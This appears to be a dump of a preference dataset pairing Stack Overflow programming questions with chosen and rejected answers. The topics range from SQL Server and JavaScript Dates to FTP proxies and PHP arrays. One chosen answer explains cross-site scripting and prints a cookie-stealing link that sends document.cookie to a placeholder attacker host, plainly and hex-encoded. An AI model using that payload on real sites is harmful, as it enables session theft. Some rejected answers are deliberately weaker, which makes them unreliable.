instruction
stringlengths
21
27.8k
chosen
stringlengths
18
28.2k
rejected
stringlengths
18
33.6k
__index_level_0__
int64
0
50k
<p>In a stored procedure, I need to get the count of the results of another stored procedure. Specifically, I need to know if it returns any results, or an empty set.</p> <p>I could create a temp table/table variable, exec the stored procedure into it, and then run a select count on that data. But I really don't care about the data itself, all I need is the count (or presence/absence of data). I was wondering if there is a more efficient way of getting just that information.</p> <p>I don't want to just copy the contents of the other stored procedure and rewrite it as a select count. The stored procedure changes too frequently for that to be workable.</p>
<p>Well, depending on how the stored procedures work, @@ROWCOUNT returns the # of results for ANYthing that SP will do (including updates): <a href="http://msdn.microsoft.com/en-us/library/ms187316.aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/ms187316.aspx</a></p> <p>This will only work if the LAST thing you do in the sp is returning the rows to the client... Otherwise you're going to get the results of some other statement. Make sense?</p>
<p>If you can rewrite other procedure to be a simple function that returns a resultset, you can simply select count(*) from it.</p>
10,526
<p>Let me start with a specific example of what I'm trying to do.</p> <p>I have an array of year, month, day, hour, minute, second and millisecond components in the form <code>[ 2008, 10, 8, 00, 16, 34, 254 ]</code>. I'd like to instantiate a Date object using the following standard constructor:</p> <pre><code>new Date(year, month, date [, hour, minute, second, millisecond ]) </code></pre> <p>How can I pass my array to this constructor to get a new Date instance? <em>[ <strong>Update</strong>: My question actually extends beyond this specific example. I'd like a general solution for built-in JavaScript classes like Date, Array, RegExp, etc. whose constructors are beyond my reach. ]</em></p> <p>I'm trying to do something like the following:</p> <pre><code>var comps = [ 2008, 10, 8, 00, 16, 34, 254 ]; var d = Date.prototype.constructor.apply(this, comps); </code></pre> <p>I probably need a "<code>new</code>" in there somewhere. The above just returns the current time as if I had called "<code>(new Date()).toString()</code>". I also acknowledge that I may be completely in the wrong direction with the above :)</p> <p><strong><em>Note</strong>: No <code>eval()</code> and no accessing the array items one by one, please. I'm pretty sure I should be able to use the array as is.</em></p> <hr> <h2>Update: Further Experiments</h2> <p>Since no one has been able to come up with a working answer yet, I've done more playing around. Here's a new discovery.</p> <p>I can do this with my own class:</p> <pre><code>function Foo(a, b) { this.a = a; this.b = b; this.toString = function () { return this.a + this.b; }; } var foo = new Foo(1, 2); Foo.prototype.constructor.apply(foo, [4, 8]); document.write(foo); // Returns 12 -- yay! </code></pre> <p>But it doesn't work with the intrinsic Date class:</p> <pre><code>var d = new Date(); Date.prototype.constructor.call(d, 1000); document.write(d); // Still returns current time :( </code></pre> <p>Neither does it work with Number:</p> <pre><code>var n = new Number(42); Number.prototype.constructor.call(n, 666); document.write(n); // Returns 42 </code></pre> <p>Maybe this just isn't possible with intrinsic objects? I'm testing with Firefox BTW.</p>
<p>I've done more investigation of my own and came up with the conclusion that <strong>this is an impossible feat</strong>, due to how the Date class is implemented.</p> <p>I've inspected the <a href="http://www.mozilla.org/js/spidermonkey/" rel="noreferrer">SpiderMonkey</a> source code to see how Date was implemented. I think it all boils down to the following few lines:</p> <pre><code>static JSBool Date(JSContext *cx, JSObject *obj, uintN argc, jsval *argv, jsval *rval) { jsdouble *date; JSString *str; jsdouble d; /* Date called as function. */ if (!(cx-&gt;fp-&gt;flags &amp; JSFRAME_CONSTRUCTING)) { int64 us, ms, us2ms; jsdouble msec_time; /* NSPR 2.0 docs say 'We do not support PRMJ_NowMS and PRMJ_NowS', * so compute ms from PRMJ_Now. */ us = PRMJ_Now(); JSLL_UI2L(us2ms, PRMJ_USEC_PER_MSEC); JSLL_DIV(ms, us, us2ms); JSLL_L2D(msec_time, ms); return date_format(cx, msec_time, FORMATSPEC_FULL, rval); } /* Date called as constructor. */ // ... (from here on it checks the arg count to decide how to create the date) </code></pre> <p>When Date is used as a function (either as <code>Date()</code> or <code>Date.prototype.constructor()</code>, which are exactly the same thing), it defaults to returning the current time as a string in the locale format. This is regardless of any arguments that are passed in:</p> <pre><code>alert(Date()); // Returns "Thu Oct 09 2008 23:15:54 ..." alert(typeof Date()); // Returns "string" alert(Date(42)); // Same thing, "Thu Oct 09 2008 23:15:54 ..." alert(Date(2008, 10, 10)); // Ditto alert(Date(null)); // Just doesn't care </code></pre> <p>I don't think there's anything that can be done at the JS level to circumvent this. And this is probably the end of my pursuit in this topic.</p> <p>I've also noticed something interesting:</p> <pre><code> /* Set the value of the Date.prototype date to NaN */ proto_date = date_constructor(cx, proto); if (!proto_date) return NULL; *proto_date = *cx-&gt;runtime-&gt;jsNaN; </code></pre> <p><code>Date.prototype</code> is a Date instance with the internal value of <code>NaN</code> and therefore,</p> <pre><code>alert(Date.prototype); // Always returns "Invalid Date" // on Firefox, Opera, Safari, Chrome // but not Internet Explorer </code></pre> <p>IE doesn't disappoint us. It does things a bit differently and probably sets the internal value to <code>-1</code> so that Date.prototype always returns a date slightly before epoch.</p> <hr> <h2>Update</h2> <p>I've finally dug into ECMA-262 itself and it turns out, what I'm trying to achieve (with the Date object) is -- by definition -- not possible:</p> <blockquote> <p><strong>15.9.2 The Date Constructor Called as a Function</strong></p> <p>When Date is called as a function rather than as a constructor, it returns a string representing the current time (UTC).</p> <p><strong>NOTE</strong> The function call <code>Date(…)</code> is not equivalent to the object creation expression <code>new Date(…)</code> with the same arguments.</p> <p><strong>15.9.2.1 Date ( [ year [, month [, date [, hours [, minutes [, seconds [, ms ] ] ] ] ] ] ] )</strong></p> <p>All of the arguments are optional; any arguments supplied are accepted but are completely ignored. A string is created and returned as if by the expression <code>(new Date()).toString()</code>.</p> </blockquote>
<p>Edited</p> <p>Sorry, I was sure I made it that way years ago, right now I'll stick to:</p> <p>var d = new Date(comps[0],comps[1],comps[2],comps[3],comps[4],comps[5],comps[6]);</p> <p>Edit:</p> <p>But do remember that a javascript Date-object uses indexes for months, so the above array means</p> <p>November 8 2008 00:16:34:254</p>
21,888
<p>I'm working on a star schema for analysis of posted form data. The site that the form data will be posted to is actually external to the site hosting the form, so only the data in the form will be available. I'm going to give the option to include some extra useful information with hidden fields, original referrer, session id etc.</p> <p>I'll be able to use regular expressions to match certain data types and pull them out to specific dimensions e.g. Postcodes.</p> <p>I have a solution to dealing with the arbitrary nature of the dimensions, its not a great one but it will work.</p> <p>The problem that I have is that I have no idea what is going to be in my fact table, its not like there is a nice numerical value that I can aggregate. Apart from the fact that "yes there is a form post" that satisfies these criteria.</p> <p>I'm wondering if I'm approaching this in the right way? Am I using the wrong tool for the job? Or am I just missing something?</p> <p>Simon.</p> <p>Further detail:</p> <p>There are two areas of functionality, filtering the form posts dependant on criteria e.g. between two timestamps. But pretty much anything is up for grabs in terms of filtering. The selected form posts will then be used to generate a csv file for export.</p> <p>The other main area is analytics, studying the conversion of ad spend into customer leads is an obvious starting point. Also somewhat open ended and depends on the form data.</p>
<p>You aren't designing a star schema. You're designing an <a href="http://en.wikipedia.org/wiki/Entity-Attribute-Value_model" rel="nofollow noreferrer">Entity-Attribute-Value</a> table, which has all the problems you're identifying.</p> <p>If you really have no idea what your data will look like, i.e. what form fields exist and what data types should be used for each one, then a relational database is not the right tool to persist the information. Try XML or YAML or JSON. Those are structured, but dynamic, formats. You can establish metadata on the fly. You can store the whole form instance in a file or in a BLOB in your database.</p> <p>Another emerging technology that can manage dynamic metadata is <a href="http://en.wikipedia.org/wiki/Resource_Description_Framework" rel="nofollow noreferrer">RDF</a>, with the query language <a href="http://en.wikipedia.org/wiki/Resource_Description_Framework" rel="nofollow noreferrer">SPARQL</a>. <a href="http://www.openrdf.org/" rel="nofollow noreferrer">Sesame</a> is an example of a semantic data engine.</p>
<p>It's ok to have fact tables with no measurements - they're just called "factless fact tables". But you still typically put a row_count column in there - even though it'll always have a value of one - to easily add summary tables. And you may end up adding other measurements later - like a measurement of the sentiment of the term for example.</p> <p>And I wouldn't get too worried that this doesn't look like a warehousing 101 example - there are a lot of corner cases where odd things happen. You can certainly have field_name &amp; field_value as columns, or even just field_value if you don't have field_name. That works. And it provides a ton of flexibility.</p> <p>But you are missing out on some important functionality. Since a given item or object is really split across multiple rows - typical sql filtering won't work well. You typically need to pull all the rows into a little app that can evaluate them as a whole - or write some very complex multi-step sql where you insert the boolean results of each row evaluation to a temp table, then group by session_id (or whatever the equiv), then finally evaluate for and/or logic.</p> <p>Another option - is to go this route, but gradually develop your ETL parsing functionality so that over time you can pull some of this stuff out into more traditional dimensions. Perhaps this becomes your staging or raw table, but you try to have most reports hit your more traditional star schema.</p> <p>Last option - consider a non-relational database. Something more document-oriented may provide better functionality for you.</p>
38,169
<p>I'm creating a database, and prototyping and benchmarking first. I am using H2, an open-source, commercially free, embeddable, relational, java database. I am not currently indexing on any column.</p> <p>After the database grew to about 5GB, its batch write speed doubled (the rate of writing was slowed 2x the original rate). I was writing roughly 25 rows per milliseconds with a fresh, clean database and now at 7GB I'm writing roughly 7 rows/ms. My rows consist of a short, an int, a float, and a byte[5]. </p> <p>I do not know much about database internals or even how H2 was programmed. I would also like to note I'm not badmouthing H2, since this is a problem with other DBMSs I've tested. </p> <p>What factors might slow down the database like this if there's no indexing overhead? Does it mainly have something to do with the file system structure? From my results, I assume the way windows XP and ntfs handle files makes it slower to append data to the end of a file as the file grows. </p>
<p>One factor that can complicate inserts as a database grows is the number of indexes on the table, and the depth of those indexes if they are B-trees or similar. There's simply more work to do, and it may be that you're causing index nodes to split, or you may simply have moved from, say, a 5-level B-tree to a 6-level one (or. more generally, from N to N+1 levels).</p> <p>Another factor could be disk space usage -- if you are using cooked files (that's the normal kind for most people most of the time; some DBMS use 'raw files' on Unix, but it is unlikely that your embedded system would do so, and you'd know if it did because you'd have to tell it to do so), it could be that your bigger tables are now fragmented across the disk, leading to worse performance.</p> <p>If the problem was on SELECT performance, there could be many other factors also affecting your system's performance.</p>
<p>Another cause is whether the entire database is held in memory or if the OS has to do a lot of disk swapping to find the location to store the record.</p>
23,464
<p>Last week we released Omniture's analytics code onto a large volume of web sites after tinkering and testing for the last week or so.</p> <p>On almost all of our site templates, it works just fine. In a few scattered, unpredictable situations, there is a <em>crippling, browser-crashing experience</em> that <em>may</em> turn away some users.</p> <p>We're not able to see a relationship between the crashing templates at this time, and while there <em>are</em> many ways to troubleshoot, the one that's confuddling us is related to event listeners.</p> <p>The sites crash when any anchor on these templates is clicked. There isn't any inline JS, and while we firebug'ed our way through the attributes of the HTML, we couldn't find a discernable loop or issue that would cause this. (while we troubleshoot, you can experience this for yourself <a href="http://dv1.gatehousemedia.com/dev/omniture/index.html" rel="nofollow noreferrer">here</a> [<strong>warning</strong>! clicking any link in the page will cause your browser to crash!])</p> <p><strong>How do you determine if an object has a listener or not? How do you determine what will fire when event is triggered?</strong></p> <blockquote> <p>FYI, I'd love to set breakpoints, but <em>between Omnitures miserably obfuscated code and repeated browser crashes</em>, I'd like to research more thoroughly how I can approach this.</p> </blockquote>
<p>I did an "inspect element" on a link in that page with firebug, and in the DOM tab it says there is an onclick function (anonymous), and also some other function called "s_onclick_0".</p> <p>I coaxed firebug placing a watch like </p> <pre><code>alert(document.links[0].onclick) </code></pre> <p>to alert me the onclick function that omniture (i guess) attaches to links:</p> <pre><code>function anonymous(e) { var s = s_c_il[0], b = s.eh(this, "onclick"); s.lnk = s.co(this); s.t(); s.lnk = 0; if (b) { return this[b](e); } return true; } </code></pre> <p>Maybe in the same way you can see what it is really running after all that obfuscation.</p>
<p>A set of recommendations to the implementers of on-page analytics:</p> <ul> <li><p>Use document-level event capturing only, this is in almost every case (besides change/submit events) sufficient</p></li> <li><p>Do not execute computation-intensive code (as well as any IO operations) in the handlers, rather postpone execution with a timeout</p></li> </ul> <p>If this two simple rules are taken into account, I bet your browser will survive</p>
21,089
<p>Would it be possible to write a class that is virtually indistinguishable from an actual PHP array by implementing all the necessary SPL interfaces? Are they missing anything that would be critical?</p> <p>I'd like to build a more advanced Array object, but I want to make sure I wouldn't break an existing app that uses arrays everywhere if I substituted them with a custom Array class.</p>
<p>The only problems i can think of are the gettype() and the is_array() functions. Check your code for</p> <pre><code>gettype($FakeArray) == 'array' is_array($FakeArray) </code></pre> <p>Because although you can use the object just like an array, it will still be identified as an object. </p>
<p>Other differences include the '+' operator for arrays (merging) and the failure of the entire <code>array_*</code> functions, including the commonly used <code>array_merge</code> and <code>array_shift</code>.</p>
17,530
<p>Is there a way to upload a file to a FTP server when behind an HTTP proxy ?</p> <p>It seems that uploading a file is not supported behind an HTTP Proxy using .Net Webclient. (<a href="http://msdn.microsoft.com/en-us/library/system.net.ftpwebrequest.proxy.aspx" rel="noreferrer">http://msdn.microsoft.com/en-us/library/system.net.ftpwebrequest.proxy.aspx</a>).</p> <p>If there is no workaround ? If not, do you know a good and free FTP library I can use ?</p> <p><strong>Edit</strong>: Unfortunately, I don't have any FTP proxy to connect to.</p>
<p>In active FTP mode, the server initiates a data connection to the client. If the client is behind an HTTP proxy, this obviously won't work. In passive FTP mode it is the client who initiates both the initial and the data connections. Since HTTP proxies can tunnel arbitrary outgoing TCP connections (using the CONNECT method), it should be possible to access an FTP server in passive mode via an HTTP proxy.</p> <p>The <code>FtpWebRequest</code> seems to support passive mode. However, I don't understand why file download and directory listings are supported, whereas file upload, which also uses the same data connection, is not.</p> <p>Have you confirmed that <code>FtpWebRequest</code> configured for passive mode does not work via an HTTP proxy through which directory listings/file download work just fine?</p>
<p>Id don't really see the connection between a http proxy and uploading to an ftp server. If you use the http proxy class thats for accessing http resources trough a http proxy. ftp is another protocol and the ftp proxies use a different protocol.</p>
19,484
<p>I have a file and I don't know how big it's going to be (it could be quite large, but the size will vary greatly). I want to search the last 10 lines or so to see if any of them match a string. I need to do this as quickly and efficiently as possible and was wondering if there's anything better than:</p> <pre><code>s = "foo" last_bit = fileObj.readlines()[-10:] for line in last_bit: if line == s: print "FOUND" </code></pre>
<pre><code># Tail from __future__ import with_statement find_str = "FIREFOX" # String to find fname = "g:/autoIt/ActiveWin.log_2" # File to check with open(fname, "r") as f: f.seek (0, 2) # Seek @ EOF fsize = f.tell() # Get Size f.seek (max (fsize-1024, 0), 0) # Set pos @ last n chars lines = f.readlines() # Read to end lines = lines[-10:] # Get last 10 lines # This returns True if any line is exactly find_str + "\n" print find_str + "\n" in lines # If you're searching for a substring for line in lines: if find_str in line: print True break </code></pre>
<p>This will return the last 10 lines as a list then you can search your line easily. (Python 3 compatible)</p> <pre><code>def read_last_n_lines_new(lines_need=10): with open('Log.txt', 'rb') as f: f.seek(0, 2) data = [] lines_found = 0 while True: try: f.seek(-1, 1) except: break finally: c = f.read(1) f.seek(-1, 1) if c == b'\n': lines_found = lines_found+1 if lines_found &gt; lines_need or not c: break data.insert(0, c.decode('utf-8')) lines = [] cur = &quot;&quot; for l in data: if(l == '\n'): lines.append(cur) cur = '' else: cur = cur + l return lines </code></pre>
32,532
<p>I'm writing a website that will sell items from one of my classes. It will be linked to a SQL Server db where I will pull pricing, item name, quantity and description. If I wanted to display the items from the database in a thinkgeek fashion, what would be the best control to use so I can custimize the display to actually look ok?</p>
<p>You'll get the best flexibility with an asp:Repeater. This means you'll have to program more, but it will give you more flexibility.</p>
<p>@rslite and @Bryant both have good suggestions. My initial go of the problem would probably involve creating a "Thinkgeek-esque" user control, and plopping that into a repeater for display. However, the DDP would be a good call as well. Really depends on deeper level requirements than you mention.</p>
22,843
<p>I am trying to write a fragment program that will take a texture and clamp the texels between two values. That is, if the min value is say 0.2 and the max value is 0.6, any texel less than 0.2 will become 0, any texel greater than 0.6 will become 1.0, and all values in between will be mapped from 0 to 1.0.</p> <p>My call to glProgramStringARB is cause a GL_INVALID_OPERATION. I can't seem to figure out why this is happening. Please help.</p> <p>This is my first attempt at writing a shader so I'm not entirely sure what I'm doing. Here's my code:</p> <pre><code>String str = "!!ARBfp1.0\n"+ "TEMP R0;\n"+ "MOV R0.x, fragment.texcoord[1];\n"+ "ADD R0.w, fragment.texcoord[2].x, -R0.x;\n"+ "TEX R0.xyz, fragment.texcoord[0], texture[0], 2D;\n"+ "RCP R0.w, R0.w;\n"+ "ADD R0.xyz, R0, -fragment.texcoord[1].x;\n"+ "MUL_SAT result.color.xyz, R0, R0.w;\n"+ "END\n"; int count = str.Length; Gl.glEnable(Gl.GL_FRAGMENT_PROGRAM_ARB); Gl.glGenProgramsARB(1, out mFragProg); Gl.glBindProgramARB(Gl.GL_FRAGMENT_PROGRAM_ARB, mFragProg); Gl.glProgramStringARB(Gl.GL_FRAGMENT_PROGRAM_ARB, Gl.GL_PROGRAM_FORMAT_ASCII_ARB, count, str); GetGLError("glProgramStringARB"); Gl.glDisable(Gl.GL_FRAGMENT_PROGRAM_ARB); </code></pre> <p>Then to use it I do the following:</p> <pre><code>Gl.glEnable(Gl.GL_FRAGMENT_PROGRAM_ARB); Gl.glBindProgramARB(Gl.GL_FRAGMENT_PROGRAM_ARB, mFragProg); float max = (mMiddle + (mRange / 2.0f))/65535.0f; float min = (mMiddle - (mRange / 2.0f))/65535.0f; Gl.glMultiTexCoord1f(Gl.GL_TEXTURE1_ARB, min); Gl.glMultiTexCoord1f(Gl.GL_TEXTURE2_ARB, max); GetGLError("Enable Program for Drawing"); /* * Drawing Code */ Gl.glDisable(Gl.GL_FRAGMENT_PROGRAM_ARB); </code></pre>
<p>I haven't really programed any shaders, but maybe the shader compiler doesn't recognize the new line? have you tried putting "\n\r"?</p> <p>EDIT:</p> <p>Another question that you may ask yourself is what language are you using? Are strings in UNICODE, ie 16-bits/char? I just noticed that the format you are passing into the glProgramStringARB() is set to ASCII. If the string is really UNICODE, then it will cause problems.</p> <p>For example, JAVA and C# Strings are in UNICODE. not ASCII.</p>
<p>First: I don't know much about ARB_fragment_program so I'm partly guessing here.</p> <p>Your best option would be to get the error string (glGetString(GL_PROGRAM_ERROR_STRING_ARB)) and see what that tells you.</p> <p>After looking at the shader, you seem to be using the wrong number of components in lines 3 and 7 (and probably some more). For example I don't think you can assign a 4-component vector (fragment.texcoord[1]) to a scalar field (R0.x).</p>
44,022
<p>Do any .NET frameworks allow you to create Business Entities first then Database. In other words allow you to use DDD / Persistence Ignorance method of backing into the database later. Any tools that allow the Models/Classes you have written to generate the SQL DDL and migration scripts.</p> <p>Feel free to rework my verbiage, and make it a better question.</p>
<p>NHibernate supports domain-driven design, persistence ignorance, and automated data-model generation.</p>
<p>You may opt for Castle ActiveRecord which hides the complexity of NHibernate and can create the schema from business entities with various options like creating a schema file and creating the database entities directly.</p>
45,016
<p>When debugging an asp.net web application in VS2008 IDE, i feel it takes 'long' to launch the application because it my app is not big (about six pages).</p> <p>I am not using the in-built VS web-server, I'm using the standard IIS web-server on my development machine. (That is, on the 'Start Options' dialog, I have set to 'Use custom server' and pointed 'Base URL' to the one I have defined in IIS)</p> <p>I have not tried to fine-tune any options so I though someone can quickly point what needs to be changed to optmise this process</p> <p>My machine is a P3 Duo-core and I feel it has sufficient memory for the job :)</p>
<p>One thing that's helped improve launch speed for me is to set up a separate AppPool and assign just the application you're trying to debug to that AppPool. </p>
<p>I would try turning off Indexing for the "temporary asp.net files" folder (located in your windows dir/microsoft.net/framework/%whatever version% folder).</p>
28,050
<p>I have terabytes of files and database dumps that I need to backup off-site.</p> <p>What's the best way to accomplish this?</p> <p>I'm currently weighing rsyinc to Amazon EBS or getting an appliance (eg barracuda).</p> <p>I called a buddy of mine, and he said he uses backula to get all the files on a single disk, then backs that disk up to tape, then sends the tapes off to iron mountain.</p> <p>Still waiting to hear back from other sysadmins I've contacted. Will post results here.</p>
<p>One common solution to offsite backups that is worth considering is performing the backup onsite and then physically transporting the backup elsewhere, either via secure snail mail or with a service designed for that purpose. If bandwidth is an issue, this may be more practical.</p>
<p>Back in the late 80s I worked at a place where every week we received a box of tapes of various sorts every monday - we would do one set of weekly backups on the tapes on that box and send them off-site. Evidently they had two of these boxes, one that was in our office and the other they kept locked up somewhere. Then we got an Exabyte drive which had a single tape capacity greater than that whole box of TK-50s, QIC-40s and mag tapes, and it was just simpler to send a single tape home with one of the manager every week.</p> <p>I'm sure there are still off-site backup systems like that, but I find it easier to keep cycling a couple of 500Gb drives from my home system to my desk at work.</p>
47,501
<p>I have a many to many index table, and I want to do an include/exclude type query on it.</p> <p>fid is really a integer index, but here as letters for easier understanding. Here's a sample table :</p> <p>table t</p> <pre><code>eid | fid ----+---- 1 | A 1 | B 1 | C 2 | B 2 | C 3 | A 3 | C 4 | A 4 | B 5 | B </code></pre> <p>Here are some sample queries I want.</p> <ol> <li>What eids have fid B, and NOT A? (Answer eid 2 and 5)</li> <li>What eids have fid C, and NOT A? (Answer eid 2)</li> </ol> <p>I can't seem to figure out a query that will do this. </p> <p>I've tried a self join like this:</p> <pre><code>select * from t as t1 join t as t2 where t1.eid=t2.eid and t1.fid!=t2.fid and t1.fid=B and t2.fid!=A </code></pre> <p>That won't work, because it will still return rows where eid=1 and fid=C.</p> <p>Am I clear on what I want?</p>
<p>Use <a href="http://msdn.microsoft.com/en-us/library/ms188055.aspx" rel="nofollow noreferrer">set subtraction</a></p> <blockquote> <pre><code>Select eid from t where fid = 'B' EXCEPT select eid from t where fid = 'A' </code></pre> </blockquote>
<p><a href="http://dev.mysql.com/doc/refman/5.0/en/exists-and-not-exists-subqueries.html" rel="nofollow noreferrer">MySQL 5.0</a> supports the where exists/where not exists, as described by Nigel and Mike.</p>
15,712
<p>Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.</p>
<p>Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.</p> <p>When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.</p> <p>Example of malicious link:</p> <pre class="lang-none prettyprint-override"><code>http://VulnerableHost/a.php?variable=&lt;script&gt;document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie&lt;/script&gt; </code></pre> <p>It's also common to encode the malicious code, for example in hex:</p> <pre class="lang-none prettyprint-override"><code>http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E </code></pre>
<p>XSS - </p> <p>Vulnerability caused when the web-site places the trust on the user and does not filter the user-input. The user-input causes unwanted script to be executed on the site.</p> <ol> <li><p>Prevention:</p> <ul> <li><p>Filter user input using HTML input sanitizers</p> <p>(e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape in php)</p></li> </ul></li> </ol> <p>CSRF:</p> <p>Vulnerability caused when the user places the trust on the site but the site may work to get user-information and misuse it.</p> <ol> <li><p>Prevention:</p> <ul> <li>Uniquely auto-generate a csrf_token every-time a form is rendered. The csrf_token is sent to the server on form submission for verification. e.g. <a href="https://docs.djangoproject.com/en/dev/ref/contrib/csrf/" rel="nofollow">https://docs.djangoproject.com/en/dev/ref/contrib/csrf/</a></li> </ul></li> </ol>
29,591
<p>I have an existing codebase targeting a Windows environment and with an eye to the future, would like to make this as cross platform as possible. I've had some sucess with standard Linux distributions by using cross platform libraries but would like to extend this to Realtime and or embedded operating systems.</p> <p>Would it be possible to port the majority of the codebase to such systems, or would it require reimplentations targeted to that environment? If parts need to be recreated, does development for these systems require a different type of design approach? Some vendors supply their own IDE's for development, are these a necessity or can we or is it possible to standardise on a GNU toolchain type build process?</p> <p>A potential pothole could be differences in IPC handling but without further exposure it is difficult to get a handle on the specifics.</p> <p>NB although Windows based presently, there is not particularly heavy use of the Win32 API (mainly COM) or Windows types.</p> <p>Thanks</p> <p>edit:: the codebase is C\C++</p>
<p>If you are using the windows COM interface (I assume you're not talking about serial port here, but the Common Object Model), your code might need to be abstracted away from that.</p> <p>As you talk about IPC, then obviously this is a multi-tasking/multi-processing type code base. With that being the case, you will have to somehow come up with a way to deal with the environment difference.</p> <p>First of all, you <strong>will</strong> need some kind of RTOS since your application is multi-tasking. As you did a port to Linux, you might want to look into using a version of real-time Linux. This would minimize the number of ports you would have to do.</p> <p>If you don't want to use Linux as your embedded platform, make your code POSIX compliant (Linux is) and make sure that the RTOS you choose support POSIX. This way, the port to Linux and the embedded platform would be mostly the same.</p> <p>Bottom line, COM will be your albatros.</p> <p>Since you don't mention the use of a GUI, we won't address <strong>that</strong> can of worms :)</p>
<p>Depends on the capabilities of your embedded platform. If it's an 8-bit, you've got a hard road ahead but if it's 32 bit with decent RAM and such, there are a lot of open source cross-platform libraries available.</p> <p>I used <a href="http://www.directfb.org/" rel="nofollow noreferrer">DirectFB</a> for my last embedded GUI app, it was lightweight and OK but not cross-platform. Next time I think I'll try out <a href="http://www.wxwidgets.org/" rel="nofollow noreferrer">wxWidgets</a>.</p>
13,214
<p>How, in general, does one determine if a PC supports hardware virtualization? I use VirtualPC to set up parallel test environments and I'd enjoy a bit of a speed boost.</p>
<p>Download this: <a href="http://www.cpuid.com/cpuz.php" rel="noreferrer">http://www.cpuid.com/cpuz.php</a></p> <p>Also check, <a href="http://en.wikipedia.org/wiki/X86_virtualization" rel="noreferrer">http://en.wikipedia.org/wiki/X86_virtualization</a></p> <p>Edit: Additional, I know it's for XEN but the instructions are the same for all VMs that want hardware support. <a href="http://wiki.xensource.com/xenwiki/HVM_Compatible_Processors" rel="noreferrer">http://wiki.xensource.com/xenwiki/HVM_Compatible_Processors</a></p> <p>I can't try it from work, but I'm sure it can identify whether you've got the Intel VT or AMD-V instructions. Intel will have a "vmx" instruction and AMD will have a "svm". </p> <p>On linux you can check /proc/cpuinfo, "egrep '(vmx|svm)' /proc/cpuinfo"</p>
<p>Try just turning the option on in VirtualPC. If it doesn't do anything (or the option isn't available), then your PC doesn't.</p>
4,097
<p>How do I get ms-access to connect (through ODBC) to an ms-sql database as a different user than their Active Directory ID? </p> <p>I don't want to specify an account in the ODBC connection, I want to do it on the ms-access side to hide it from my users. Doing it in the ODBC connection would put me right back in to the original situation I'm trying to avoid.</p> <p>Yes, this relates to a previous question: <a href="http://www.stackoverflow.com/questions/50164/">http://www.stackoverflow.com/questions/50164/</a></p>
<p>I think you can get this to work the way you want it to if you use an <a href="http://www.carlprothman.net/Default.aspx?tabid=90#ODBCDriverForSQLServer" rel="noreferrer">"ODBC DSN-LESS connection"</a></p> <p>If you need to, keep your ODBC DSN's on your users' machines using windows authentication. Give your users read-only access to your database. (If they create a new mdb file and link the tables they'll only be able to read the data.)</p> <p>Create a SQL Login which has read/write permission to your database.</p> <p>Write a VBA routine which loops over your linked tables and resets the connection to use you SQL Login but be sure to use the "DSN-Less" syntax.</p> <pre><code>"ODBC;Driver={SQL Native Client};" &amp; "Server=MyServerName;" &amp; _ "Database=myDatabaseName;" &amp; _ "Uid=myUsername;" &amp; _ "Pwd=myPassword" </code></pre> <p>Call this routine as part of your startup code. </p> <p><strong>A couple of notes about this approach:</strong></p> <ul> <li><p>Access seems to have an issue with the connection info once you change from Read/Write to Read Only and try going back to Read/Write without closing and re-opening the database (mde/mdb) file. If you can change this once at startup to Read/Write and not change it during the session this solution should work.</p></li> <li><p>By using a DSN - Less connection you are able to hide the credentials from the user in code (assuming you're giving them an mde file you should be ok). Normally hard-coding connection strings isn't a good idea, but since you're dealing with an in-house app you should be ok with this approach.</p></li> </ul>
<p>I think you'd have to launch the MS Access process under the account you want to use to connect. There are various tools that let you do this, such as <a href="http://www.joeware.net/freetools/tools/cpau/index.htm" rel="nofollow noreferrer">CPAU</a>. This tool will let you encrypt the password as well.</p>
7,357
<p>I know that <code>JTable</code> can sort by a single column. But is it possible to allow for multiple column sort or do I need to write the code myself?</p>
<p>You can sort by multiple columns by specifying more than one sort key when calling <code>setSortKeys</code> in the <a href="http://java.sun.com/javase/6/docs/api/javax/swing/RowSorter.html" rel="noreferrer"><code>RowSorter</code></a> you're using.</p>
<p>ETable from the netbeans collection.<br/> It is part of org-netbeans-swing-outline.jar<br/> A google search aught to turn it up. The ETable is primarily a foundation for Outline (a TreeTable) but it has multi-column ordering built in as well as many other nice features</p>
13,525
<p>So for the past day or so I have been fixing a bug that is caused by a modal dialog. I work on an application which communicates with the server through the Windows message pump. When I use ShowDialog() to show a modal form, the message pump is blocked and none of my messages are processed, yet they do build up in the queue (expected behavior). </p> <p>However, I recently noticed that if a modal form is opened through a menu item's click event, the messages are pumped to the main form and processed. Does anyone know why these messages are not blocked when a modal form is shown through a menu item's click event?</p> <p>EDIT: I should have noted that I am using C#. How about this; if no one can answer this question, can anyone tell me how to investigate this myself? The only thing that I can think of would be to look at the call stack. Unfortunately, this has not told me anything yet.</p>
<p>Yes, I am calling ShowDialog() from the menu item's click event. In this case, the messages are pumped through the modal dialog to the main form.</p>
<p>Are you calling ShowDialog() from the click event, or some other way?</p>
16,550
